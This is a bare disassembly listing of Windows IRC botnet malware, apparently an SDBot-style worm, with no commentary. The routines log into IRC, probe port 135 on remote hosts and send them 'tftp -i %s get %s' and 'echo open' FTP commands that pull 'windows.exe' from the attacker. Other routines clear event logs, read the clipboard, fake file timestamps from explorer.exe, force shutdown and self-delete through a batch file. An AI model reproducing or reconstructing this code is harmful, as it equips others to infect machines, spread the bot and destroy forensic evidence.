sub_41A6AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A7A3 proc near ; DATA XREF: sub_41A954+57o
Dest = byte ptr -4008h
var_3008 = byte ptr -3008h
Dst = byte ptr -2008h
Str = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call __alloca_probe
push ebx
push esi
mov esi, [ebp+arg_0]
imul esi, 210h
push edi
push dword_4DB794[esi]
xor edi, edi
lea eax, dword_4DB594[esi]
inc edi
push eax
mov dword_4DB588[esi], edi
call sub_41A1C6
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4DB58C[esi], eax
jb loc_41A934
mov edi, 1000h
push edi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
lea eax, [ebp+Dst]
push eax ; Dest
call sub_41A293
lea eax, [ebp+Dest]
push eax ; Dest
call sub_41A293
lea eax, [ebp+var_3008]
push eax ; Dest
call sub_41A293
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Str]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax ; Dest
call _sprintf
add esp, 2Ch
lea eax, [ebp+Str]
push ebx
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push dword_4DB58C[esi]
call dword_4441A0 ; send
push edi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
push edi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 18h
jmp loc_41A914
; ---------------------------------------------------------------------------
loc_41A88F: ; CODE XREF: sub_41A7A3+18Bj
xor eax, eax
cmp [ebp+var_4], ebx
jmp short loc_41A8FE
; ---------------------------------------------------------------------------
loc_41A896: ; CODE XREF: sub_41A7A3+15Ej
mov al, [ebp+eax+Str]
cmp al, 0Dh
jz short loc_41A8BD
cmp al, 0Ah
jz short loc_41A8BD
cmp [ebp+arg_0], 0FA0h
jz short loc_41A8BD
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+Dst], al
jmp short loc_41A8F7
; ---------------------------------------------------------------------------
loc_41A8BD: ; CODE XREF: sub_41A7A3+FCj
; sub_41A7A3+100j ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_41A8F7
push dword_4DB58C[esi] ; int
mov [ebp+eax+Dst], bl
lea eax, [ebp+Dst]
push eax ; Str
call sub_41A6AE
test eax, eax
pop ecx
pop ecx
ja short loc_41A934
push edi ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_41A8F7: ; CODE XREF: sub_41A7A3+118j
; sub_41A7A3+11Fj
mov eax, [ebp+var_8]
inc eax
cmp eax, [ebp+var_4]
loc_41A8FE: ; CODE XREF: sub_41A7A3+F1j
mov [ebp+var_8], eax
jnz short loc_41A896
push edi ; Size
lea eax, [ebp+Str]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_41A914: ; CODE XREF: sub_41A7A3+E7j
push ebx
push edi
lea eax, [ebp+Str]
push eax
push dword_4DB58C[esi]
call dword_444064 ; recv
cmp eax, ebx
mov [ebp+var_4], eax
jg loc_41A88F
loc_41A934: ; CODE XREF: sub_41A7A3+40j
; sub_41A7A3+13Ej
mov dword_4DB588[esi], ebx
mov esi, dword_4DB58C[esi]
cmp esi, ebx
jbe short loc_41A94B
push esi
call dword_444218 ; closesocket
loc_41A94B: ; CODE XREF: sub_41A7A3+19Fj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_41A7A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A954(char *Source,int,int)
sub_41A954 proc near ; CODE XREF: sub_40274D+2FC0p
var_8 = byte ptr -8
var_4 = dword ptr -4
Source = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
mov [ebp+var_4], ebx
jle short loc_41A9CF
push esi
push edi
loc_41A966: ; CODE XREF: sub_41A954+77j
xor edi, edi
mov eax, offset dword_4DB588
loc_41A96D: ; CODE XREF: sub_41A954+28j
cmp [eax], ebx
jz short loc_41A97E
add eax, 210h
inc edi
cmp eax, offset byte_4E1CA8
jl short loc_41A96D
loc_41A97E: ; CODE XREF: sub_41A954+1Bj
cmp edi, 31h
jz short loc_41A9CD
push [ebp+Source] ; Source
mov esi, edi
imul esi, 210h
lea eax, dword_4DB594[esi]
push eax ; Dest
call _strcpy
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov dword_4DB794[esi], eax
lea eax, [ebp+var_8]
push eax
push ebx
push edi
push offset sub_41A7A3
push ebx
push ebx
mov dword_4DB588[esi], 1
call ds:dword_42B03C ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_41A966
loc_41A9CD: ; CODE XREF: sub_41A954+2Dj
pop edi
pop esi
loc_41A9CF: ; CODE XREF: sub_41A954+Ej
pop ebx
leave
retn
sub_41A954 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A9D2(int,int,void *Buf2,size_t Size)
sub_41A9D2 proc near ; CODE XREF: sub_41AA0A+127p
; sub_41AA0A+14Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Buf2 = dword ptr 10h
Size = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
sub edi, [ebp+Size]
xor esi, esi
test edi, edi
jle short loc_41AA00
loc_41A9E3: ; CODE XREF: sub_41A9D2+2Cj
push [ebp+Size] ; Size
mov eax, [ebp+arg_0]
push [ebp+Buf2] ; Buf2
add eax, esi
push eax ; Buf1
call _memcmp
add esp, 0Ch
test eax, eax
jz short loc_41AA06
inc esi
cmp esi, edi
jl short loc_41A9E3
loc_41AA00: ; CODE XREF: sub_41A9D2+Fj
xor al, al
loc_41AA02: ; CODE XREF: sub_41A9D2+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41AA06: ; CODE XREF: sub_41A9D2+27j
mov al, 1
jmp short loc_41AA02
sub_41A9D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA0A proc near ; CODE XREF: .text:0040CCCFp
; .text:0040CDBBp ...
var_2010 = dword ptr -2010h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call __alloca_probe
mov eax, [ebp+arg_4]
dec eax
jz short loc_41AA47
dec eax
jz short loc_41AA25
dec eax
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_41AA25: ; CODE XREF: sub_41AA0A+14j
push 3
push 1388h
push [ebp+arg_0]
call dword_44417C ; inet_addr
push eax
call sub_40BC56
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
leave
retn
; ---------------------------------------------------------------------------
loc_41AA47: ; CODE XREF: sub_41AA0A+11j
push esi
push edi
push 6
push 1
push 2
call dword_444100 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz loc_41AB77
push ebx
push 10h ; Size
xor ebx, ebx
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push 87h
mov [ebp+Dst], 2
call dword_444260 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_4022BD
pop ecx
mov [ebp+var_C], eax
push 10h
lea eax, [ebp+Dst]
push eax
push esi
call dword_4440AC ; connect
cmp eax, edi
jz loc_41AB69
push ebx
push 48h
push offset dword_443368
push esi
call dword_4441A0 ; send
cmp eax, edi
jz loc_41AB69
push ebx
mov esi, 2000h
push esi
lea eax, [ebp+var_2010]
push eax
push [ebp+arg_4]
call dword_444064 ; recv
cmp eax, edi
jz loc_41AB69
cmp byte ptr [ebp+var_2010+2], 0Ch
jnz short loc_41AB69
push ebx
push 18h
push offset dword_4433B4
push [ebp+arg_4]
call dword_4441A0 ; send
cmp eax, edi
jz short loc_41AB69
push ebx
push esi
lea eax, [ebp+var_2010]
push eax
push [ebp+arg_4]
call dword_444064 ; recv
mov esi, eax
cmp esi, edi
jz short loc_41AB69
cmp byte ptr [ebp+var_2010+2], 2
jnz short loc_41AB69
push 10h ; Size
push offset dword_4433D0 ; Buf2
lea eax, [ebp+var_2010]
push esi ; int
push eax ; int
call sub_41A9D2
add esp, 10h
test al, al
jz short loc_41AB49
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_41AB69
; ---------------------------------------------------------------------------
loc_41AB49: ; CODE XREF: sub_41AA0A+131j
push 10h ; Size
push offset dword_4433E4 ; Buf2
lea eax, [ebp+var_2010]
push esi ; int
push eax ; int
call sub_41A9D2
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_41AB69: ; CODE XREF: sub_41AA0A+9Dj
; sub_41AA0A+B4j ...
push [ebp+arg_4]
call dword_444218 ; closesocket
mov eax, ebx
pop ebx
jmp short loc_41AB79
; ---------------------------------------------------------------------------
loc_41AB77: ; CODE XREF: sub_41AA0A+55j
xor eax, eax
loc_41AB79: ; CODE XREF: sub_41AA0A+16Bj
pop edi
pop esi
leave
retn
sub_41AA0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41AB7D(char *Dest,char *SubStr,char *Source)
sub_41AB7D proc near ; CODE XREF: sub_40274D+AEEp
; sub_40274D+B19p ...
Dest = dword ptr 8
SubStr = dword ptr 0Ch
Source = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Dest]
xor esi, esi
cmp edi, esi
jz short loc_41AC08
mov eax, [ebp+SubStr]
cmp eax, esi
jz short loc_41AC08
cmp [ebp+Source], esi
jz short loc_41AC08
cmp byte ptr [eax], 0
jz short loc_41AC08
push ebx
push edi ; char *
call __strdup
mov ebx, eax
test ebx, ebx
pop ecx
jz short loc_41AC03
push [ebp+SubStr] ; SubStr
push edi ; Str
call _strstr
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_41ABFC
sub eax, edi
push eax ; Count
push edi ; Source
push ebx ; Dest
call _strncpy
push [ebp+Source] ; Str
mov eax, ebx
sub eax, edi
mov byte ptr [eax+esi], 0
call _strlen
push eax ; Count
push [ebp+Source] ; Source
push ebx ; Dest
call _strncat
push [ebp+SubStr] ; Str
call _strlen
add eax, esi
push eax ; Source
push ebx ; Dest
call _strcat
push ebx ; Source
push edi ; Dest
call _strcpy
add esp, 30h
mov esi, edi
loc_41ABFC: ; CODE XREF: sub_41AB7D+3Cj
push ebx ; Memory
call _free
pop ecx
loc_41AC03: ; CODE XREF: sub_41AB7D+2Bj
mov eax, esi
pop ebx
jmp short loc_41AC0A
; ---------------------------------------------------------------------------
loc_41AC08: ; CODE XREF: sub_41AB7D+Cj
; sub_41AB7D+13j ...
xor eax, eax
loc_41AC0A: ; CODE XREF: sub_41AB7D+89j
pop edi
pop esi
pop ebp
retn
sub_41AB7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41AC0E(char *Str,int)
sub_41AC0E proc near ; CODE XREF: sub_402472+C2p
; sub_41321D+F4p
Dst = dword ptr -7D0h
Str = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push edi
push 7D0h ; Size
xor ebx, ebx
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
mov esi, [ebp+Str]
push esi ; Str
call _strlen
xor edi, edi
inc edi
add esp, 10h
cmp eax, edi
jge short loc_41AC46
or eax, 0FFFFFFFFh
jmp short loc_41ACAD
; ---------------------------------------------------------------------------
loc_41AC46: ; CODE XREF: sub_41AC0E+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+Dst], esi
jle short loc_41AC67
loc_41AC52: ; CODE XREF: sub_41AC0E+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_41AC5F
cmp dl, 0Dh
jnz short loc_41AC62
loc_41AC5F: ; CODE XREF: sub_41AC0E+4Aj
mov [ecx+esi], bl
loc_41AC62: ; CODE XREF: sub_41AC0E+4Fj
inc ecx
cmp ecx, eax
jl short loc_41AC52
loc_41AC67: ; CODE XREF: sub_41AC0E+42j
xor edx, edx
cmp eax, ebx
jle short loc_41AC8F
loc_41AC6D: ; CODE XREF: sub_41AC0E+7Fj
cmp [edx+esi], bl
jnz short loc_41AC8A
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_41AC8A
cmp edi, 1F4h
jge short loc_41AC8F
mov [ebp+edi*4+Dst], ecx
inc edi
loc_41AC8A: ; CODE XREF: sub_41AC0E+62j
; sub_41AC0E+6Aj
inc edx
cmp edx, eax
jl short loc_41AC6D
loc_41AC8F: ; CODE XREF: sub_41AC0E+5Dj
; sub_41AC0E+72j
cmp [ebp+arg_4], ebx
jz short loc_41ACAB
push 7D0h ; Size
lea eax, [ebp+Dst]
push eax ; Src
push [ebp+arg_4] ; Dst
call _memcpy
add esp, 0Ch
loc_41ACAB: ; CODE XREF: sub_41AC0E+84j
mov eax, edi
loc_41ACAD: ; CODE XREF: sub_41AC0E+36j
pop edi
pop esi
pop ebx
leave
retn
sub_41AC0E endp
; =============== S U B R O U T I N E =======================================
sub_41ACB2 proc near ; CODE XREF: sub_41B362+26p
; sub_41B39F+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax ; C
call _tolower ; _tolower
cmp al, 61h
pop ecx
jl short loc_41ACCD
cmp al, 7Ah
jg short loc_41ACCD
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_41ACCD: ; CODE XREF: sub_41ACB2+Ej
; sub_41ACB2+12j
xor eax, eax
retn
sub_41ACB2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ACD0 proc near ; CODE XREF: sub_40274D+64B5p
; sub_40274D+74ACp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_42B01C ; RtlGetLastWin32Error
push 0
push 100h
mov esi, eax
lea eax, [ebp+var_100]
push eax
push 400h
push esi
push 0
push 1200h
call ds:dword_42B100 ; FormatMessageA
lea eax, [ebp+var_100]
loc_41AD09: ; CODE XREF: sub_41ACD0+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_41AD15
cmp cl, 9
jnz short loc_41AD18
loc_41AD15: ; CODE XREF: sub_41ACD0+3Ej
inc eax
jmp short loc_41AD09
; ---------------------------------------------------------------------------
loc_41AD18: ; CODE XREF: sub_41ACD0+43j
; sub_41ACD0+5Bj ...
mov byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_41AD32
mov cl, [eax]
cmp cl, 2Eh
jz short loc_41AD18
cmp cl, 21h
jl short loc_41AD18
loc_41AD32: ; CODE XREF: sub_41ACD0+54j
push esi
lea eax, [ebp+var_100]
push eax
push [ebp+arg_0]
mov esi, offset byte_4E1CA8
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h ; Count
push esi ; Dest
call __snprintf
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_41ACD0 endp
; =============== S U B R O U T I N E =======================================
sub_41AD5A proc near ; CODE XREF: sub_40274D+22AFp
push esi
push 0
call dword_44409C ; OpenClipboard
test eax, eax
jz short loc_41AD91
push 1
call dword_44423C ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_41AD91
push edi
push esi
call ds:dword_42B108 ; GlobalLock
push esi
mov edi, eax
call ds:dword_42B104 ; GlobalUnlock
call dword_444080 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41AD91: ; CODE XREF: sub_41AD5A+Bj
; sub_41AD5A+19j
xor eax, eax
pop esi
retn
sub_41AD5A endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_41AD95(char *Format)
sub_41AD95 proc near ; CODE XREF: sub_40274D+725Fp
Format = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
push esi
mov edi, offset aMirc_0 ; "mIRC"
push edi
call dword_444160 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_41AE11
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call ds:dword_42B114 ; CreateFileMappingA
push esi
push esi
push esi
mov edi, eax
push 0F001Fh
push edi
call ds:dword_42B110 ; MapViewOfFile
push [esp+10h+Format] ; Format
mov ebx, eax
push ebx ; Dest
call _sprintf
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4441CC ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_4441CC ; SendMessageA
push ebx
call ds:dword_42B10C ; UnmapViewOfFile
push edi
call ds:dword_42B004 ; CloseHandle
xor eax, eax
inc eax
pop ebx
jmp short loc_41AE13
; ---------------------------------------------------------------------------
loc_41AE11: ; CODE XREF: sub_41AD95+16j
xor eax, eax
loc_41AE13: ; CODE XREF: sub_41AD95+7Aj
pop edi
pop esi
pop ebp
retn
sub_41AD95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE17 proc near ; CODE XREF: WinMain(x,x,x,x)+1FCp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push esi
xor esi, esi
push esi
lea eax, [ebp+var_11C]
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_444124 ; SearchPathA
test eax, eax
jz short loc_41AEB8
push ebx
push edi
push esi
mov edi, 80h
push edi
push 3
push esi
mov esi, ds:dword_42B08C
push 1
push 80000000h
lea eax, [ebp+var_11C]
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_41AEB6
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call ds:dword_42B11C ; GetFileTime
push ebx
mov ebx, ds:dword_42B004
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41AEB6
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_42B118 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_41AEB6: ; CODE XREF: sub_41AE17+51j
; sub_41AE17+87j
pop edi
pop ebx
loc_41AEB8: ; CODE XREF: sub_41AE17+28j
pop esi
leave
retn
sub_41AE17 endp
; =============== S U B R O U T I N E =======================================
sub_41AEBB proc near ; CODE XREF: sub_40274D+14E0p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_41C3D9
pop ecx
pop ecx
push 50005h
push 6
call dword_4441A4 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_41AEBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AEDD proc near ; CODE XREF: sub_40274D+254Dp
; sub_418F38+470p
Str = byte ptr -764h
var_364 = byte ptr -364h
Dest = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
Dst = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_43C088, esi
push edi
jz short loc_41AF01
cmp dword_444274, esi
jnz short loc_41AF01
push esi ; Str
call sub_401000
pop ecx
loc_41AF01: ; CODE XREF: sub_41AEDD+13j
; sub_41AEDD+1Bj
call sub_40AFF6
lea eax, [ebp+Str]
push eax
push 400h
call ds:dword_42B030 ; GetTempPathA
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset aSdel_bat ; "%sdel.bat"
push eax ; Dest
call _sprintf
add esp, 0Ch
push esi
push esi
push 2
push esi
push esi
push 40000000h
lea eax, [ebp+Dest]
push eax
call ds:dword_42B08C ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_41B061
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax ; Dest
call _sprintf
add esp, 0Ch
push esi
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+Str]
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Str]
push eax
push edi
call ds:dword_42B084 ; WriteFile
push edi
call ds:dword_42B004 ; CloseHandle
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
push 44h
pop edi
push edi ; Size
lea eax, [ebp+var_58]
push esi ; Val
push eax ; Dst
call _memset
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
push edi
lea eax, [ebp+var_15C]
push eax
push esi
mov [ebp+var_4C], offset byte_42B633
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call ds:dword_42B024 ; GetModuleHandleA
push eax
call ds:dword_42B00C ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call ds:dword_42B050 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_41B009
push 80h
lea eax, [ebp+var_15C]
push eax
call ds:dword_42B04C ; SetFileAttributesA
loc_41B009: ; CODE XREF: sub_41AEDD+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Str]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax ; Dest
call _sprintf
add esp, 10h
push edi
lea eax, [ebp+var_364]
push eax
lea eax, [ebp+Str]
push eax
call ds:dword_42B120 ; ExpandEnvironmentStringsA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
push esi
lea eax, [ebp+var_364]
push eax
push esi
call ds:dword_42B008 ; CreateProcessA
loc_41B061: ; CODE XREF: sub_41AEDD+72j
pop edi
pop esi
leave
retn
sub_41AEDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41B065(int,char *Str,int,int,int)
sub_41B065 proc near ; CODE XREF: sub_40274D+6E5Fp
Dest = byte ptr -294h
Dst = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
push 94h ; Size
xor edi, edi
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push eax
mov [ebp+Dst], 94h
call ds:dword_42B064 ; GetVersionExA
cmp [ebp+var_84], 2
jnz short loc_41B0FB
push [ebp+arg_10]
push [ebp+arg_C]
call dword_444248 ; OpenEventLogA
push edi
push eax
call dword_44411C ; ClearEventLogA
test eax, eax
jz short loc_41B0ED
push [ebp+arg_10]
push offset asc_437C50 ; "-"
loc_41B0C6: ; CODE XREF: sub_41B065+94j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
push edi ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 20h
jmp short loc_41B125
; ---------------------------------------------------------------------------
loc_41B0ED: ; CODE XREF: sub_41B065+57j
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_437C28
jmp short loc_41B0C6
; ---------------------------------------------------------------------------
loc_41B0FB: ; CODE XREF: sub_41B065+3Fj
lea eax, [ebp+Dest]
push offset asc_437BF8 ; "-"
push eax ; Dest
call _sprintf
push edi ; int
push [ebp+arg_8] ; int
lea eax, [ebp+Dest]
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 1Ch
loc_41B125: ; CODE XREF: sub_41B065+86j
pop edi
leave
retn
sub_41B065 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B128 proc near ; CODE XREF: .text:0040CEF6p
; sub_40D7FE+434p ...
var_5A4 = byte ptr -5A4h
Dest = byte ptr -1A4h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A4h
push esi
push edi
push 10h ; Size
xor edi, edi
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+arg_4]
push eax
mov [ebp+Dst], 2
call dword_44417C ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_10], eax
call dword_444260 ; htons
push edi
push 1
push 2
mov [ebp+var_12], ax
call dword_444100 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
mov [ebp+var_4], esi
jz short loc_41B18E
push 10h
lea eax, [ebp+Dst]
push eax
push esi
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_41B195
loc_41B18E: ; CODE XREF: sub_41B128+52j
xor al, al
jmp loc_41B247
; ---------------------------------------------------------------------------
loc_41B195: ; CODE XREF: sub_41B128+64j
push ebx
push edi
mov ebx, 400h
push ebx
lea eax, [ebp+var_5A4]
push eax
push esi
call dword_444064 ; recv
mov esi, offset aWindows_exe ; "windows.exe"
push esi
push esi
push [ebp+arg_0]
call sub_4023C9
pop ecx
push eax
push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
mov edi, 190h
lea eax, [ebp+Dest]
push edi ; Count
push eax ; Dest
call __snprintf
movzx eax, word ptr dword_4D1FE4
add esp, 18h
push esi
push esi
push eax
push [ebp+arg_0]
call sub_4023C9
pop ecx
push eax
push offset aEchoOpenSDOE_1 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+Dest]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push [ebp+var_4]
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41B228
xor al, al
jmp short loc_41B246
; ---------------------------------------------------------------------------
loc_41B228: ; CODE XREF: sub_41B128+FAj
push 0
push ebx
lea eax, [ebp+var_5A4]
push eax
push [ebp+var_4]
call dword_444064 ; recv
push [ebp+var_4]
call dword_444218 ; closesocket
mov al, 1
loc_41B246: ; CODE XREF: sub_41B128+FEj
pop ebx
loc_41B247: ; CODE XREF: sub_41B128+68j
pop edi
pop esi
leave
retn
sub_41B128 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=6Ch
; int __cdecl sub_41B24B(char *Source,int,int)
sub_41B24B proc near ; CODE XREF: sub_40274D+5347p
Dest = word ptr -1C0h
var_15C = byte ptr -15Ch
Str = word ptr -0F8h
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
Source = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-6Ch]
sub esp, 1C0h
lea eax, [ebp+6Ch+var_94]
push eax
mov [ebp+6Ch+var_94], 94h
call ds:dword_42B064 ; GetVersionExA
cmp [ebp+6Ch+var_90], 4
jnz short loc_41B283
cmp [ebp+6Ch+var_8C], 0
jnz loc_41B310
xor eax, eax
inc eax
cmp [ebp+6Ch+var_84], eax
jz loc_41B30B
loc_41B283: ; CODE XREF: sub_41B24B+20j
; sub_41B24B+CFj
push esi
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call ds:dword_42B018 ; LoadLibraryA
mov esi, eax
push offset aNetmessagebuff ; "NetMessageBufferSend"
push esi
call ds:dword_42B020 ; GetProcAddress
push 32h ; MaxCount
push [ebp+6Ch+Source] ; Source
mov edi, eax
lea eax, [ebp+6Ch+Dest]
push eax ; Dest
call _mbstowcs
push 32h ; MaxCount
push [ebp+6Ch+arg_4] ; Source
lea eax, [ebp+6Ch+var_15C]
push eax ; Dest
call _mbstowcs
push 32h ; MaxCount
push [ebp+6Ch+arg_8] ; Source
lea eax, [ebp+6Ch+Str]
push eax ; Dest
call _mbstowcs
lea eax, [ebp+6Ch+Str]
push eax ; Str
call _wcslen
shl eax, 1
push eax
lea eax, [ebp+6Ch+Str]
push eax
lea eax, [ebp+6Ch+var_15C]
push eax
lea eax, [ebp+6Ch+Dest]
push eax
push 0
call edi ; GetProcessHeap
add esp, 3Ch
push esi
mov edi, eax
call ds:dword_42B0F8 ; FreeLibrary
mov eax, edi
pop edi
pop esi
loc_41B30B: ; CODE XREF: sub_41B24B+32j
; sub_41B24B+D8j
add ebp, 6Ch
leave
retn
; ---------------------------------------------------------------------------
loc_41B310: ; CODE XREF: sub_41B24B+26j
cmp [ebp+6Ch+var_8C], 0Ah
jz short loc_41B320
cmp [ebp+6Ch+var_8C], 5Ah
jnz loc_41B283
loc_41B320: ; CODE XREF: sub_41B24B+C9j
xor eax, eax
inc eax
jmp short loc_41B30B
sub_41B24B endp
; =============== S U B R O U T I N E =======================================
